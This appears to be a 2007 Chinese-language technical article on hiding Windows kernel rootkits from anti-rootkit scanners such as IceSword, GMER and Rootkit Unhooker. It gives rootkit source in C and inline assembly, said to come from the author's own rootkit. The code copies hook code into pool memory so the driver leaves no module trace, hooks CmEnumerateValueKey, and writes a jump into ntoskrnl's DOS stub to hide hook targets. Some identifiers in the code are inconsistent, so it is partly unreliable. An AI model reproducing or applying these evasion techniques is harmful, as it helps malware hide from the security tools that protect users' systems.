饒過現代Anti - Rookit工具的內核模塊掃描
( Bypass?modern?anti - rootkit?tools 's?kernel?mode?scan)

MJ0011
th_decoder@126
. com
2007 - 10 - 24


本文描述了一些方法,可以饒過目前主流的現代Anti - rootkit工具,包括但不限于 :
Icesword?最新版
Gmer最新版
Rootkit?unhooker?最新版
DarkSpy?最新版
AVG?Anti
- rootkit最新版
等等


目前的anti
- rootkit工具中,對于內核模塊主要采用如下幾種掃描方式 :

1. 恢復ZwQuerySystemInformation的hook , 然后利用功能號SystemModuleInformation進行枚舉
例如Icesword

2. 遍歷PsLoadModuleList , Driver / Device / Section?Object鏈 , 或者TypeList鏈等 ( 總之是找驅動相關對象 ) 進行枚舉
例如Rootkit?Unhooker
, Gmer等

3. 內核鏡象暴力搜索 , 搜索MZ , PE等等標志結合進行判斷內存里是否有PE鏡象 , 如rootkit?unhooker , rutkowska的modgreper等,通常只能顯示為unknow?image

4. 函數引用 , 各種routine\hook等 , 先HOOK一些常用函數,然后當驅動去調用這些函數時,記下其地址,檢測時使用 , 或者是根據各種?routine ( dispatch?routine , IDT , Image?Notfiy等 ) 或各種hook ( inline? hook , iat / eat?hook等等 ) ,通常只能顯示為unknow?image或unknow?xxx?handler等

5. 使用系統ImageLoad?Notfiy , 使用一個BOOT驅動,記錄所有模塊load的消息 , 檢測時進行分析?如AVG?Anti - rootkit等


先說饒過
1 , 2 , 3 , 5 的辦法
很簡單,使用諸如ZwSetSystemInformation的函數加載驅動,然后在DriverEntry中分配NonPagedPool的內存,然后將功能代碼
/ 函數copy到該內存中,然后進行必要的HOOK,最后返回STATUS_UNSUCCESSFULL .

這樣驅動在PsLoadModuleList、各種對象鏈里就消失了,自然也就不存在于ZwQuerySystemInformation枚舉的列表里
需要注意的是,copy到內存中的代碼要盡量簡單,基本不會生成需要重定位的代碼了,但調用系統函數還是要另想辦法

我的某個RK里是這樣做的,例如A?Function用來hook?系統函數B
, 其中需要調用系統函數C,

那么分配一塊內存,大小
=? len ( A )?+? sizeof ( ULONG )?*? 2

在內存的前兩個DWORD放OrgB , 以及C的地址,后面開始放函數代碼

函數中使用call?
+ 5? 對自身的位置進行定位,找到內存開始的位置,然后得到OrgB和C

當然也可以在COPY入內存前自己用絕對地址定位函數
~ 不過不如這個方法靈活

相關代碼
:
//hook?call?CmEnumerateValueKey

void? InstallCMRegHook ()
{
????
PVOID?_CmEnumerateKeyValueLoc? ;
???

????
_CmEnumerateKeyValueLoc? =? FindCmEnumerateValueKey ();
????
//找到?call?CmEnumerateValueKey

????
HookCodeLen? =?( ULONG ) NopFunc8? -?( ULONG ) NewCmEnumerateValueKey? ;
????
//獲得NewCmEnumerateValueKey長度

????
HookCode3? =? ExAllocatePoolWithTag ( NonPagedPool? ,
????
HookCodeLen? +? 4? ,
????
MEM_TAG_HOOKCODE3 );
???
????
//分配內存

????
*( ULONG *) HookCode3? =?*( ULONG *) _CmEnumerateKeyValueLoc? ;
???
????
//原函數地址放入內存

????
RtlCopyMemory (( PVOID ) HookCode3? +? sizeof ( ULONG )?,?( PVOID ) NewCmEnumerateValueKey? , HookCodeLen );

????
//copy函數代碼

????
DO_SPINLOCK ();
????*(
ULONG *) _CmEnumerateValueKeyLoc? =? HookCode3? +? sizeof ( ULONG );

????
//進行HOOK

????
EXIT_SPINLOCK ();
????
return? ;
???
}

NTSTATUS?NewCmEnumearateValueKey ( IN?PVOID????KeyControlBlock ,
????
IN?ULONG?Index ,
????
IN?KEY_VALUE_INFORMATION_CLASS?KeyValueInformationClass ,
????
IN?PVOID?KeyValueInformation ,
????
IN?ULONG?KeyLength ,
????
IN?PULONG?ResultLength
????
)
{
//下面找到本函數開始地址,并獲得保存在內存中的OrgCmEnumerateValueKey的地址

????
__asm
????
{
????????
push????eax
????????call????__
__
:
????????
POP????????eax
????????SUB????????eax
, offset?__
????????add????????eax
, offset?NewCmEnumearateValueKey

; 獲得函數開始地址

????????sub????????eax
, 4???
????????
mov????????eax ,[ eax ]

;
獲得OrgCmEnumerateValueKey

????????push????ResultLength
????????push????KeyLength
????????push????KeyValueInformation
????????push????KeyValueInformationClass
????????push????Index
????????push????KeyControlBlock
????????call????eax???
????????mov????????stat
,? eax
; 調用原始函數
????????pop????????eax
????
}

//.....其他處理
//
//.....
}


void? NopFunc8 ()
{
????
__asm
????
{
????????
nop
????????nop
????????nop
????
}
????
return? ;
}

//上面這個NopFunc用于NewCmEumerateValueKey函數長度定位


這樣,基于ZwQuerySystemInformation , PsLoadModuleList , 對象目錄,Type鏈 , ImageLoad , 暴力PE搜索 ( 因為我們壓根就沒有PE鏡象 , just?one?piece?of?code ~)...

接下來看如何饒過 4. 中的檢測方式

1.Hook 常用函數 : 這個很簡單了,恢復自己要用的函數 ~ 或者壓根就不用那些函數,HOOK代碼大部分都是數據過濾 / 處理部分,所以完全可以一個系統函數也不調 ...

2. 各種routine檢測,這個可以用多次跳轉方式搞定,例如Dispatch?hook , 因為獲取各種DRIVER的DISPATCH?原始地址沒有比較通用的方法,所以檢測dispatch是否被HOOK的方式通常都是檢測其地址是否在其模塊的Code?Section中 ( 類似的還有object?hook , pxxxx?hook等 ), 使用此方法的例如rootkit?unhooker ,? gmer等

只要我們先使用這樣的方法,就可以饒過檢測,讓Anti
- rootkit工具不知道是我們的模塊HOOK了這里 :

先將dispatch地址跳轉到code?section中不用的部分, 5 個字節就足夠了,然后在這 5 個字節里使用jmp指令再跳到我們的模塊里,這樣Anti - rootkit工具檢測時 , 就會發現dispatch?routine仍然在該模塊的code?section中

通過這種方法也可以饒過對dispatch?hook\object?hook的檢測

inline? hook / iat / eat?hook也可以用類似的方法來躲過模塊檢測,不過無法避免HOOK被檢測到? ^-^

即使Anti - rootkit工具使用更復雜的算法,對各個routine進行深度代碼級掃描 , 我們也可以通過復雜邏輯/代碼,將我們的最后跳轉地址藏起來:)

一個簡單的雙段跳饒過object?hook檢測的代碼
:
object?hook方法因為未被公開過,故細節略去,方便起見,沒有寫找code?section的代碼,直接將跳轉代碼寫到了ntoskrnl的DOS?Header中
同樣來自于我的某RK
:
ULONG?InsideHookCode ( ULONG?NewAddress? ,? ULONG?BaseCode? )
{
//該函數用于將hook代碼轉接到模塊的DOS頭中

????//in?:NewAddress:?real?hookcode?to?jump
????//in?:ModuleName:?kernel?module?base?address?to?inject
????//out?:NewJump?Address

ULONG?TempCode? =? BaseCode? ;

????
TempCode? =? TempCode? +? sizeof ( IMAGE_DOS_HEADER )?;
????
//into?DOS?stub

????
DO_SPINLOCK ();
????
WPOFF ();
???
????*(
BYTE *) TempCode? =? 0xe9? ;
????
__asm
????
{
????????
push????eax
????????push????ecx
????????mov????????ecx
,? TempCode
????????mov????????eax
,? NewAddress
????????sub????????eax
,? ecx
????????sub????????eax
,? 5
????????
mov????????dword?ptr [ ecx + 1 ]?,? eax
????????pop????????ecx
????????pop????????eax
????
}
???
????
WPON ();
????
EXIT_SPINLOCK ();

????
//write?jmp?NewAddress?into?DOS?stub
????
return? TempCode? ;
}